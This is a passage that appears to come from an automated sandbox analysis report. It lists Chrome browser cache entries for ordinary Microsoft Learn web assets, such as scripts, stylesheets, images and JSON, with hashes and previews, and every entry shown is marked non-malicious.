Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
